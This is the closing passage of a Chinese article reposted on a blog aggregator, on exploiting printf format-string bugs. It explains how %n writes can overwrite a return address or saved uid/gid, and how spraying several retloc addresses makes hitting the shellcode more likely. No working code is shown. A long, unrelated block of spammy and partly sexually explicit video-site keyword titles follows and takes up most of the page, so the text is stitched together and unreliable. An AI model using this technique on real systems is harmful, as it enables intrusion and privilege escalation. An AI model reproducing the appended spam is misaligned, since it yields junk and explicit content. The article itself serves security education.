0xbffffcb4:???? 0x0c??? 0x00??? 0x41??? 0x41

因此我們只要覆蓋兩次就可以了,具體的方法和前面相似,有興趣的讀者可以自行測試一下。
這種方法的好處是我們不會覆蓋多余的地址,它只覆蓋指定地址的兩個字節內容!


綜合上面的幾種方法,我們會看到第三和第四種方法是最通用的,可以適用于各種情況。第
一種和第二種都有其自己的局限性,更多的依賴于應用程序自身的特點。

不過這幾種方法都由一個局限,就是必須非常精確的給定存放返回地址的地址:retloc,錯一
個字節也不行。這使攻擊的成功率大打折扣。回憶一下原來的普通exploit為什么容易成功,
是因為它通常使用一串返回地址來填充堆棧,只要能覆蓋返回地址retloc就可以了,并不需要
知道retloc確切的值。而這里,我們必須精確指定retloc,將shellcode地址直接填充到返回地
址中去。而由于retloc的大小和用戶環境變量等因素有很大關系,往往不是很確定,所以不是
那么容易就一次成功的。那么如果我們能夠指定一串retloc,retloc+4,retloc+8...,分別將
shellcode地址存到這些地址去,那么我們不就可以增大成功的把握了嗎?利用第4種方法,使
很容易做到這一點的。具體的操作有興趣的讀者可以自行測試,也可以與我聯系。


另外,%n并不僅僅局限于用來覆蓋返回地址,也可以用來覆蓋某些保存的數據,比如保存
的uid,gid等等。

結?/h4>========
這種格式化串導致的溢出問題,雖然看起來比較復雜,實際上只要程序員在書寫應用程序
時稍加注意,是完全可以避免的。看來粗心真的是安全的大敵。:-) 由于時間倉促,文中
錯疏之處難免,敬請批評指正。

參考文獻
==========
[1] <<Format Bugs: What are they, Where did they come from,.........
????? How to exploit them>> , lamagra (lamagra@digibel.org)
[2] <<Remote shell via Qpopper2.53>> , prizm (prizm@resentment.org)
[3] <<More info on format bugs>>,? Pascal Bouchareine [ kalou <pb@grolier.fr> ]

總結

以上是生活随笔為你收集整理的*printf()格式化串安全漏洞分析(下)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

久久亚洲免费 | 成人97视频一区二区 | 久久综合久久八八 | 人人爱人人舔 | 不卡中文字幕在线 | 亚洲激情六月 | 97免费公开视频 | 久久免费电影网 | 日韩av手机在线观看 | 韩国av电影在线观看 | 精品久久久久久亚洲综合网 | 在线欧美a| 国产精品久久久久四虎 | 天天干 天天摸 天天操 | 日韩1页 | 亚洲精品国产欧美在线观看 | 99精品在线| 一二三区视频在线 | 国产无套精品久久久久久 | 四虎在线永久免费观看 | 黄色网址a | 日韩精品视 | 日本天天操| 国产黄色av | 亚洲婷婷综合色高清在线 | 欧美日韩18 | 欧美精品久久久久久久亚洲调教 | 中文字幕视频免费观看 | 精品视频久久久久久 | 波多野结衣在线观看一区二区三区 | 麻豆视频免费播放 | 免费久久久 | 精品91在线 | 91麻豆精品国产91久久久无限制版 | 97电影网手机版 | 免费a视频在线 | 91麻豆.com | 亚洲视屏一区 | 高清不卡毛片 | 国语精品久久 | 国产在线观看免费观看 | 黄色资源在线观看 | www日日夜夜| 亚洲国产欧美在线人成大黄瓜 | av女优中文字幕在线观看 | 欧美日韩国产页 | 色婷婷激情综合 | 国产色网站| 天堂在线免费视频 | 国产又粗又猛又黄又爽 | 一区二区三区国产欧美 | 欧美激情视频一二三区 | 99精品在线 | 久产久精国产品 | av观看免费在线 | 日韩艹 | 亚洲一区二区三区在线看 | 色综合久久久久综合体桃花网 | 你操综合 | 色av网站 | 香蕉在线视频播放网站 | 日韩av电影手机在线观看 | 国产精品久久久久久久久久ktv | 亚洲综合在线播放 | 国产v在线播放 | 亚洲三级av | 99riav1国产精品视频 | 少妇搡bbbb搡bbb搡aa | 91在线免费视频 | 成人av资源 | 久久国色夜色精品国产 | 欧美日韩精品在线免费观看 | 久久久久亚洲国产精品 | 亚洲午夜大片 | 久久精品成人欧美大片古装 | 欧美日韩另类在线 | 天天色 天天 | 日日夜夜天天操 | 亚洲激情免费 | 激情久久久久久久久久久久久久久久 | 午夜精品成人一区二区三区 | 美女网站在线播放 | 免费视频资源 | 久久久久久久久久久黄色 | 精品视频免费在线 | 国产精品黄网站在线观看 | 中文字幕在线观看网 | 五月丁香| 96亚洲精品久久久蜜桃 | 亚洲闷骚少妇在线观看网站 | 美女网站色免费 | 亚洲精品小区久久久久久 | 亚洲男男gaygay无套同网址 | 欧美一进一出抽搐大尺度视频 | av在线网站免费观看 | 国产精品免费一区二区三区在线观看 | 4438全国亚洲精品观看视频 | 国产一级电影 | 黄色一级在线免费观看 | 久久综合久久综合久久综合 | 人人干网站 | 婷婷久久综合网 | 成人午夜网 | 天天曰天天曰 | 国产精品国产精品 | 天天色影院 | 99这里只有| 欧美日韩高清一区 | 日韩国产在线观看 | 黄色小说视频在线 | 久久黄色网| 91天天操| 91色网址| 国产成人一级电影 | 美女国产精品 | 欧美精品xxx| 96av视频 | 欧美一区二区三区在线视频观看 | 日韩av一区在线观看 | 免费高清在线视频一区· | 精品综合久久 | 日本一区二区三区视频在线播放 | 国内精品久久久久久中文字幕 | 天天综合色网 | 中文字幕一区二区三区精华液 | 国产午夜一级毛片 | 狠狠狠综合 | 337p日本欧洲亚洲大胆裸体艺术 | 久久精品一区 | 久久久久欧美精品999 | 黄色精品网站 | 日本在线观看中文字幕无线观看 | 免费看特级毛片 | 亚洲午夜久久久久久久久 | 精品一区二区三区久久久 | 久草视频精品 | 国产成人黄色网址 | 国产精品xxxx18a99| 又黄又刺激视频 | 国产精品亚洲成人 | 久久精品视频3 | 成人黄视频 | 久久久久久久久久电影 | 丁香婷婷综合激情五月色 | 九九免费在线观看 | 日韩免费一区二区在线观看 | 国产一区免费视频 | 国内精品久久久久国产 | 婷婷视频在线播放 | 久久视频国产精品免费视频在线 | 日韩三级在线 | 久一网站| 精品免费一区二区三区 | 色狠狠婷婷 | 91香蕉国产在线观看软件 | 在线观看中文字幕网站 | 国产91对白在线播 | 99久久99久国产黄毛片 | 91精品视屏 | 日韩网站在线观看 | 久久成人免费 | 九九久久久久久久久激情 | 天天草天天干 | 波多野结衣视频一区二区 | 国产视频导航 | 色网站免费在线观看 | 波多野结衣电影一区二区三区 | 国产高清99 | 91成年视频 | 懂色av懂色av粉嫩av分享吧 | 成人综合婷婷国产精品久久免费 | 在线观看免费成人av | 国产高清av免费在线观看 | 女人魂免费观看 | 欧美日韩国产在线精品 | 成人在线观看av | 日本精品久久久久久 | 最新国产在线视频 | 国产精品久久久久久久免费大片 | 涩涩网站在线 | 亚洲国产精品99久久久久久久久 | 国产精品网红直播 | 欧美一区二视频在线免费观看 | 狠狠色狠狠色合久久伊人 | 免费69视频 | 免费裸体视频网 | 日日爽天天爽 | 五月婷婷操 | 狠狠操91| 久久久国产一区二区三区 | 天天操综合网 | 日韩欧美网址 | 精品免费久久久久 | 欧美色图一区 | 免费看黄色毛片 | 丝袜美腿在线视频 | 国产不卡视频 | 中文字幕免费久久 | 国产美女永久免费 | 丁香婷婷久久 | 3d黄动漫免费看 | 中文一区二区三区在线观看 | 国产精彩视频一区二区 | 日韩一区二区免费播放 | 狠狠色噜噜狠狠狠合久 | 99热999| 91精品一区在线观看 | 亚洲一区二区三区精品在线观看 | 天天操狠狠操 | 亚洲一区日韩在线 | 国产精品一区专区欧美日韩 | 日本婷婷色 | 久久精品视频18 | 国产黄色片一级三级 | 正在播放国产91 | 久久精品中文字幕少妇 | 粉嫩av一区二区三区四区 | 激情综合网五月婷婷 | 婷婷精品国产欧美精品亚洲人人爽 | 久久精品久久精品久久 | 国产视频精品免费播放 | 欧美一级黄大片 | 午夜精品电影一区二区在线 | 色网站黄 | 国产一区二区在线免费观看 | 国产成人精品在线播放 | 成人黄在线观看 | 中文字幕免费国产精品 | 91免费观看网站 | 国产高清在线看 | 成人av av在线 | 麻豆成人小视频 | www178ccom视频在线| av三级在线免费观看 | 中文字幕在线乱 | 99精品在线观看视频 | 五月婷婷导航 | 亚洲午夜小视频 | 久久久午夜精品理论片中文字幕 | 美女网站在线免费观看 | 久久精品日本啪啪涩涩 | 久久精品视频中文字幕 | 精品亚洲国产视频 | 日韩欧美在线观看一区二区 | 国产xxxx性hd极品 | 精品国产精品一区二区夜夜嗨 | 亚洲一级片在线看 | 一区二区三区日韩在线观看 | 97香蕉超级碰碰久久免费软件 | 久久精品黄| 黄色在线观看免费网站 | 中文字幕视频观看 | 欧美一区成人 | av成人免费网站 | 一级性视频 | 中文字幕 婷婷 | www.777奇米 | 激情五月***国产精品 | 国产一区黄色 | 色成人亚洲 | 日本久久不卡视频 | 久草在线免| 国产原创av片| 97精品久久 | 九九视频在线播放 | 成人h视频在线播放 | 精品二区久久 | 97精品国自产拍在线观看 | 手机在线永久免费观看av片 | 亚洲国产影院av久久久久 | 午夜精品久久一牛影视 | 久久精品一二三区白丝高潮 | 91在线观看欧美日韩 | 国内精品久久久久久 | 中文字幕资源在线 | 色福利网 | av日韩av| 国产免费激情久久 | 精品国产中文字幕 | 久久久久久国产精品亚洲78 | 亚洲视频网站在线观看 | 日本久久高清视频 | 成人在线播放网站 | 国产精品剧情在线亚洲 | 午夜精品久久久久久久爽 | 欧美无极色 | 黄色小说18 | 欧美日韩精品免费观看 | 久久婷婷国产色一区二区三区 | 国产精品亚洲片夜色在线 | 青草视频在线看 | 国产a级免费 | 天天爱天天操天天射 | 99视频在线免费看 | 免费视频91蜜桃 | 亚洲欧美在线视频免费 | 日韩影片在线观看 | 久久人人爽人人片av | 福利视频精品 | 精品一二区 | 久久午夜电影院 | 99久久精品免费看国产一区二区三区 | 免费看久久| 日本护士三级少妇三级999 | 久久久久久免费 | 色综合久久五月 | 免费久久久 | 在线观看免费 | 黄色亚洲片 | 玖玖在线播放 | 久久国内视频 | 久久久久亚洲精品 | 色婷婷免费视频 | 日韩欧美视频免费在线观看 | 国产精品第二十页 | 夜夜躁日日躁狠狠久久av | av黄在线播放 | 五月天伊人网 | 亚洲免费成人av电影 | 伊人网综合在线观看 | 在线a亚洲视频播放在线观看 | 91中文字幕视频 | 久久这里只有精品9 | 天天综合网久久综合网 | 国产1区2区3区在线 亚洲自拍偷拍色图 | 精品一区电影国产 | 久免费视频| 成人午夜电影网 | 亚洲综合涩 | 色噜噜狠狠色综合中国 | 国产字幕av| 97超碰人人爱 | 亚洲视频观看 | 极品久久久| 麻花传媒mv免费观看 | 国产永久免费高清在线观看视频 | 精品视频在线观看 | 黄色avwww | 黄色午夜网站 | 色多多污污 | 婷婷社区五月天 | 日韩黄色一级电影 | 国产做a爱一级久久 | 激情视频在线观看网址 | 欧美国产日韩一区二区三区 | 国产一区二区在线观看视频 | 成人久久| 欧美一级专区免费大片 | 久久最新 | 在线免费观看羞羞视频 | 久草视频在线资源站 | 日日草视频 | 美女露久久 | 99精品视频免费观看 | 九九精品视频在线看 | 精品国产观看 | 国产一级电影在线 | 亚洲涩涩网站 | 免费高清在线观看成人 | 成年人视频在线免费观看 | 99色免费视频 | 久久免费电影网 | 91在线国产观看 | 99中文字幕| 亚洲精品国产精品国自 | 久久久久久久久久久影视 | 91桃色免费观看 | 日韩高清免费无专码区 | 国产色在线观看 | 欧美日韩亚洲第一 | 国语自产偷拍精品视频偷 | h视频日本 | 91成人亚洲 | 91成版人在线观看入口 | 九月婷婷综合网 | 在线免费观看麻豆 | 国产片免费在线观看视频 | 黄色av网站在线免费观看 | 六月丁香在线观看 | 在线播放日韩 | 久久久不卡影院 | 亚洲另类视频 | 色婷婷电影网 | av短片在线观看 | 天天激情站 | 日本黄色大片儿 | 国产精品1区2区3区 久久免费视频7 | 少妇bbb搡bbbb搡bbbb′ | 天天艹 | av免费网站在线观看 | 久久精品日产第一区二区三区乱码 | 99久久99久久综合 | 黄色在线观看网站 | 中文字幕亚洲欧美日韩 | 久草视频在线看 | 日一日干一干 | 999国产在线 | 日韩av一区二区在线 | 国产精品18久久久久久不卡孕妇 | 亚洲欧美成aⅴ人在线观看 四虎在线观看 | 日日夜夜中文字幕 | av成人在线电影 | 丝袜美腿亚洲综合 | 国产黄色在线网站 | 欧美激情第八页 | 狠狠地操 | 精品在线99| 99视频在线精品 | 亚洲成人资源网 | 91亚洲夫妻| 91久久精| 一本一本久久aa综合精品 | 国产精品v欧美精品v日韩 | 综合色播| 欧美一区二区在线刺激视频 | 久久精品9| 中文字幕在线资源 | www.亚洲精品视频 | 久久视频这里只有精品 | 91传媒在线看 | 日韩在线精品 | 天天躁天天操 | 色婷婷亚洲精品 | 日躁夜躁狠狠躁2001 | 五月天婷婷综合 | adn—256中文在线观看 | 伊人婷婷综合 | 激情五月在线观看 | 人人干人人艹 | 久久精品视频18 | 最新av在线网址 | 美女一区网站 | 97精品国产97久久久久久粉红 | 久久国产精品免费一区 | 99在线观看精品 | 成人av电影免费 | 日韩av免费在线看 | 最新在线你懂的 | 日韩中文字幕国产 | 999在线视频 | 亚洲在线精品 | 少妇超碰在线 | 久草在线免费在线观看 | 国产精品久久久久久久久久三级 | 精品一区 精品二区 | 精品国产一区二区三区久久久 | 中文字幕在线国产 | 天天干天天射天天爽 | 国产又黄又爽无遮挡 | 天天操天天摸天天射 | 国产精品麻豆99久久久久久 | 99精品国产在热久久下载 | 99久久精品一区二区成人 | 国内揄拍国产精品 | 天天色综合1 | 国产999精品 | 香蕉视频在线免费看 | 日日天天av | 欧美色图亚洲图片 | 亚洲国产三级在线观看 | 超碰在线cao | 韩国一区二区av | 日韩 精品 一区 国产 麻豆 | 一区二区三区中文字幕在线 | 91免费试看| 亚洲免费成人av电影 | 亚洲精品乱码久久久久久蜜桃91 | 综合精品久久 | 久草在线观 | 99久久99久国产黄毛片 | 国产成人中文字幕 | 日韩视频一区二区三区在线播放免费观看 | 国内精品视频在线 | 色资源网免费观看视频 | 亚洲精品乱码久久久久 | 久久只精品99品免费久23小说 | 欧美日本一区 | 国产一区二区午夜 | 99视频精品全部免费 在线 | 午夜av一区二区三区 | 97色在线观看免费视频 | 91视频com | 成人网页在线免费观看 | av电影免费在线看 | 奇米四色影狠狠爱7777 | 日韩久久午夜一级啪啪 | 精品91在线 | 999久久久久久久久6666 | 欧美极度另类性三渗透 | 看av在线 | 色综合激情久久 | 伊人伊成久久人综合网小说 | 亚洲午夜久久久影院 | 日韩专区中文字幕 | 中文字幕在线免费观看视频 | 久久精品美女视频 | 免费色网 | 日韩电影在线观看一区二区 | 欧美一区二区在线免费观看 | 黄色一级在线免费观看 | 欧美精品首页 | 成人av在线一区二区 | 精品福利国产 | av电影不卡在线 | 国产精品久久久99 | av一级二级 | 日韩高清三区 | 国产特黄色片 | av中文字幕免费在线观看 | h动漫中文字幕 | 久久久国产精品视频 | 日韩美精品视频 | 免费看国产黄色 | 午夜视频黄 | 懂色av一区二区在线播放 | 久久久久久久久精 | www.天天射 | 91插插影库 | 亚洲精品综合一二三区在线观看 | 国内丰满少妇猛烈精品播 | 国产高清免费观看 | a视频免费看 | 欧美精品首页 | 天天操天天玩 | 深爱激情开心 | 日本特黄特色aaa大片免费 | 天天干天天干天天操 | 男女免费视频观看 | 香蕉97视频观看在线观看 | 成年人在线播放视频 | 综合天堂av久久久久久久 | 婷婷在线综合 | 色吧av色av | 久久久影院一区二区三区 | 国产亚洲精品久久久久动 | 国产淫片免费看 | 国产精品午夜久久久久久99热 | 国产黄色片免费在线观看 | 成人在线视频论坛 | a√天堂中文在线 | 99精品黄色片免费大全 | ww亚洲ww亚在线观看 | 91私密视频| 亚洲激情视频在线观看 | 免费av在线网 | 亚洲春色综合另类校园电影 | 亚洲精品国产成人av在线 | 国产亚洲精品综合一区91 | 国产91精品一区二区麻豆网站 | 欧美激情视频一区二区三区 | 久草免费在线 | 国产艹b视频| 亚洲专区在线 | 久久国产一区二区三区 | 成人在线免费观看网站 | 欧美巨大 | 欧美精品三级在线观看 | 日本精品一区二区三区在线观看 | 99精品在线免费 | 日韩免费一级a毛片在线播放一级 | 亚洲精品国产自产拍在线观看 | 97伊人网 | 天堂va在线高清一区 | 日本激情视频中文字幕 | 久久精品网站视频 | 亚洲欧美国产精品久久久久 | www.99热精品| 亚洲网站在线 | 美女久久久久久久久久久 | 岛国精品一区二区 | 一本一本久久aa综合精品 | 超碰在线天天 | 天堂网av在线 | 精品视频在线播放 | 最新精品国产 | 四虎最新域名 | 激情视频一区二区三区 | 91大神在线观看视频 | 欧美午夜理伦三级在线观看 | 国产第一页在线观看 | 久久污视频 | 日韩电影中文,亚洲精品乱码 | 国产中文字幕在线观看 | 狠狠伊人 | 一级一级一片免费 | 国产一区二区精品久久91 | 黄色片亚洲 | 国产日韩欧美精品在线观看 | 天天摸天天操天天舔 | 久久99这里只有精品 | 国产精品白虎 | 色婷婷婷 | 狠狠干综合| 亚洲成人av在线电影 | 综合久久婷婷 | 九九三级毛片 | 久久视频在线看 | 久要激情网 | 免费在线黄色av | 91av视频播放| 欧美日韩午夜在线 | 久久成人18免费网站 | www.久草视频 | 婷婷六月丁 | 这里只有精彩视频 | 91丝袜美腿 | 91在线中文| 久久亚洲二区 | av中文字幕日韩 | 亚洲天天摸日日摸天天欢 | 九九免费在线观看视频 | www.久久com | 国产99一区视频免费 | 亚洲精品国偷自产在线99热 | 亚洲精品视频在线播放 | 色噜噜噜噜 | 国产精久久久久久妇女av | 在线看不卡av | 免费黄色特级片 | av网址在线播放 | 视频一区二区视频 | 日韩精品网址 | 日韩成人免费在线观看 | 在线色亚洲 | 在线久久| 精品一区二区免费在线观看 | 日韩有码中文字幕在线 | 久久色视频 | 操操日| 天天操狠狠操夜夜操 | 国产精品网红直播 | 激情一区二区三区欧美 | 久久精品精品 | 欧美91片 | 九九视频一区 | 成人毛片100免费观看 | 精品亚洲成人 | 开心激情婷婷 | 国产视频网站在线观看 | 349k.cc看片app | 久久精品在线免费观看 | 国产一级二级三级在线观看 | 国产精品videoxxxx | 丁香综合网 | 999久久久久久久久6666 | av软件在线观看 | 亚洲欧洲视频 | 日韩av资源在线观看 | 日韩大片免费观看 | 免费高清国产 | 99这里只有久久精品视频 | 中文在线免费看视频 | 97免费| 国产一区二区三区免费视频 | 日日色综合 | 中文字幕二区三区 | 91高清在线看| 91日本在线播放 | 国产精品伦一区二区三区视频 | 欧美少妇xxxxxx | 激情综合一区 | 国产又粗又猛又爽又黄的视频免费 | 一级免费片| 日韩欧美视频一区二区 | 奇米网在线观看 | 国产精品永久免费 | 视频在线观看日韩 | 国产精品无 | 成人午夜电影网站 | 亚洲国产日韩欧美 | 亚洲欧美日韩精品久久久 | 欧美精品三级在线观看 | 久久美女高清视频 | 中文字幕 欧美性 | 久久精品8 | 色综合天天综合 | 色综合久久中文综合久久牛 | 在线视频精品 | 午夜久久影视 | 国产99久久久国产精品免费二区 | 日韩中文字幕视频在线 | 天海翼一区二区三区免费 | 日韩最新中文字幕 | 亚洲精品啊啊啊 | 色老板在线视频 | 成人app在线播放 | 日日夜夜中文字幕 | 国产亚洲免费的视频看 | 91人人澡人人爽 | 久久中文字幕在线视频 | 18国产精品白浆在线观看免费 | av中文字幕网址 | www.五月天婷婷.com | 日本女人在线观看 | 亚洲视频在线观看 | 性色av香蕉一区二区 | 天天鲁天天干天天射 | 欧美人体xx | 亚洲国内精品在线 | 91精品视频免费在线观看 | 色婷婷综合久久久 | 深夜福利视频在线观看 | 成人一区二区在线 | 成人91在线 | 色伊人网 | 久久久九色精品国产一区二区三区 | 日本韩国精品一区二区在线观看 | 日本精品免费看 | 激情五月色播五月 | 丝袜美腿一区 | 久久婷婷色综合 | 二区三区精品 | 亚洲精品欧美精品 | 国产精品一区二区久久 | 日韩久久影院 | 日韩一区二区三免费高清在线观看 | 日韩精品一区二区三区中文字幕 | 一区二区三区中文字幕在线观看 | 狠狠干网 | av成人动漫在线观看 | 久久久久久久久久久久久影院 | 最近最新mv字幕免费观看 | 久久av免费 | 夜夜澡人模人人添人人看 | 亚洲理论电影网 | 手机在线视频福利 | 99c视频在线| 国产中文字幕一区二区 | 国产剧情久久 | www.福利视频 | 国产一区二区在线免费观看 | 免费电影一区二区三区 | 亚洲视频999| 亚洲精品在线一区二区 | 久久视频在线看 | 国产精品女 | 国产成人精品亚洲 | 久久久久久久久影院 | 91 在线视频 | 欧美成人亚洲成人 | 婷婷色婷婷 | 国产精品永久在线观看 | 成人黄色大片网站 | 国产精品久久久久久久久久久久久久 | 狠狠色丁香婷婷综合视频 | 国产成人精品一区二区在线 | 天天艹天天爽 | 米奇四色影视 | 亚洲乱码在线 | 99精品国产99久久久久久福利 | 精品亚洲视频在线 | 精品久久免费 | 伊人久久av| 伊色综合久久之综合久久 | 99久久精品日本一区二区免费 | 国产 在线观看 | 午夜视频在线观看一区二区三区 | 91精品视频在线观看免费 | 99看视频在线观看 | 2021久久| 日韩在线观看中文字幕 | 久久成人麻豆午夜电影 | 美女国产网站 | 亚洲精品999 | 一本一本久久a久久精品综合小说 | 国产黄色精品 | 国产精品毛片一区二区在线看 | 久久久免费在线观看 | 国产精品久久久久久久久久不蜜月 | 精品国产一二三四区 | 久久精品老司机 | 色婷婷99 | 波多野结衣在线播放一区 | 成人资源网 | 99视频在线精品免费观看2 | 亚洲精品免费观看视频 | 欧美先锋影音 | 免费a v观看| 中文字幕在线免费看 | 在线免费观看视频你懂的 | 亚洲尺码电影av久久 | 中文字幕一区二区在线播放 | 九九热视频在线免费观看 | av福利在线播放 | 日韩欧美极品 | 久久久一本精品99久久精品66 | 国产一区在线视频播放 | 国产韩国精品一区二区三区 | 涩涩资源网 | 特级黄色一级 | 国模精品一区二区三区 | 99视频在线精品国自产拍免费观看 | 日韩欧美在线综合网 | 亚洲一区不卡视频 | 成人av教育 | 精品福利网 | 在线观看日韩精品视频 | 欧美成人91 | 日本夜夜草视频网站 | 蜜桃久久久 | 91久久国产露脸精品国产闺蜜 | 精品一区二区免费 | 夜夜躁日日躁狠狠久久av | 亚洲伊人av | 亚洲午夜久久久久久久久久久 | 99久久成人 | 国产精品福利一区 | 日本aaaa级毛片在线看 | 久久久精选 | 伊人中文网 | 成人亚洲网 | 欧美三级高清 | 久久综合久久综合久久 | 中文字幕视频在线播放 | 亚洲免费国产视频 | 午夜av免费看 | 一区二区三区在线免费观看视频 | 性色av一区二区三区在线观看 | 国产精品男女视频 | 狠狠色丁香久久婷婷综 | 久久综合视频网 | 日韩av一区二区三区在线观看 | 国产中的精品av小宝探花 | 国产中文字幕视频在线观看 | 日韩极品视频在线观看 | 黄色三级av | 99中文字幕在线观看 | 日韩 在线观看 | 黄色看片| 亚洲成年人在线播放 | 国产精品久久av | 九九精品视频在线观看 | 久久精品99国产精品亚洲最刺激 | 亚洲丝袜一区 | 免费日韩一级片 | 五月天久久综合 | 成人9ⅰ免费影视网站 | 午夜影院一级 | 国产精品theporn | 最近最新最好看中文视频 | 女女av在线 | av成人免费网站 | 91av资源网 | 欧美乱淫视频 | 欧美日韩一区二区三区不卡 | 成人免费视频网站在线观看 | 黄污网站在线观看 | 国产高清黄 | 91麻豆免费视频 | 久久精品欧美一区二区三区麻豆 | 久久高清av | 97久久久免费福利网址 | 在线观看成人av | 在线视频日韩 | 日韩精品一区在线播放 | 免费能看的av | 天躁狠狠躁| 九九热精品视频在线播放 | 久久精品一级片 | 在线黄色av电影 | 91久久一区二区 | 成人午夜黄色 | 久久最新网址 | 黄色成人影院 | 深夜激情影院 | 亚洲成人资源 | 中文字幕av全部资源www中文字幕在线观看 | 亚洲二级片| 欧美 国产 视频 | 国产精品不卡av | 91亚洲精品久久久蜜桃借种 | 日韩a在线播放 | 精品久久一区二区 | 永久免费av在线播放 | 香蕉97视频观看在线观看 | 亚洲三级在线免费观看 | 精品v亚洲v欧美v高清v | 亚洲欧美在线观看视频 | 超级碰碰碰碰 | 日韩av图片 | 天天操天天操天天操天天操 | 久久精品一区二区三区四区 | 国产美腿白丝袜足在线av | 免费一级片在线观看 | 日韩二区在线 | 国产精品99久久久久久久久 | 免费高清在线视频一区· | 免费看成人片 | 91久久久久久久 | 色婷婷免费视频 | 国产一区二区在线播放视频 | 亚洲精品中文字幕在线观看 | 亚洲成年人在线播放 | 91看片一区二区三区 | 日韩成人看片 | 天天射天天干天天 | 国产精品美女久久久久久网站 | 香蕉视频在线看 | 天天躁天天狠天天透 | 91精品国产成人 | 免费色视频在线 | 青草草在线视频 | 日韩在线观看一区二区 | 婷婷色 亚洲 | 在线观看的av | 这里有精品在线视频 | 免费日韩 | 成人免费大片黄在线播放 | 久久精品屋 | 国产青青青 | www.久久com| 日韩免费高清在线 | 久久人人爽人人 | www.天天草 | 亚洲成av人片在线观看无 | 精品国产亚洲在线 | 天天爱天天爽 | 欧美日韩视频在线观看一区二区 | 婷婷五月在线视频 | 国产高清在线永久 | 国产精品久久久久永久免费看 | 91丨九色丨蝌蚪丨对白 | 日韩电影精品一区 | 干干夜夜 | 91国内产香蕉 | 日韩中文字幕亚洲一区二区va在线 | www.97色.com| 午夜性福利 | 九九涩涩av台湾日本热热 | 日本精品视频在线观看 | 日韩高清 一区 | 国产成人在线观看免费 | 精品美女在线视频 | 国产黄a三级三级三级三级三级 | 亚洲成人二区 | 亚洲欧美日本A∨在线观看 青青河边草观看完整版高清 | 免费午夜视频在线观看 | 永久免费精品视频 | 亚洲一区二区精品视频 | 成人av网页 | 97超碰站 | 婷婷电影在线观看 | 色综合久久五月天 | 黄色精品免费 | 久久精品影片 | 国产免费高清视频 | 最新av在线免费观看 | 亚洲在线日韩 | 亚洲成人资源在线观看 | 99久久精| 在线午夜| 亚洲综合色激情五月 | 免费观看第二部31集 | 麻豆久久久久久久 | 久久国产精品久久国产精品 | 最新av在线网站 | 人人爽人人澡人人添人人人人 | 国产小视频免费在线观看 | 视频直播国产精品 | 国产成人亚洲精品自产在线 | 色999视频| 亚洲精品三级 | 超碰97人人在线 | 亚洲国产免费 | 国产精品日韩在线播放 | 国产伦理精品一区二区 | 亚洲日本三级 | 久久久在线免费观看 | 国产自偷自拍 | 国产黄色免费电影 | 成 人 黄 色 视频免费播放 | 夜夜操综合网 | 中文字幕中文 | 久久精品久久99精品久久 | 亚洲精品在线观看网站 | 欧美激情精品久久久久久免费印度 | 欧美淫视频 | 国产精品一区二区吃奶在线观看 | 偷拍区另类综合在线 | 在线免费观看麻豆 | 国产成人在线一区 | 久久久久国产精品午夜一区 | 人人干人人草 | 激情丁香综合五月 | 午夜精品一区二区三区在线观看 | av 一区 二区 久久 | 干干夜夜| 国产 日韩 在线 亚洲 字幕 中文 | 国产精品视频免费观看 | 日韩在线电影一区二区 | 蜜臀av性久久久久蜜臀aⅴ四虎 | 免费视频一二三 | 一级黄色大片 | 在线观看国产一区二区 | 久久你懂得 | 中文字幕在线观看完整版 | 久久激情婷婷 | 欧美小视频在线观看 |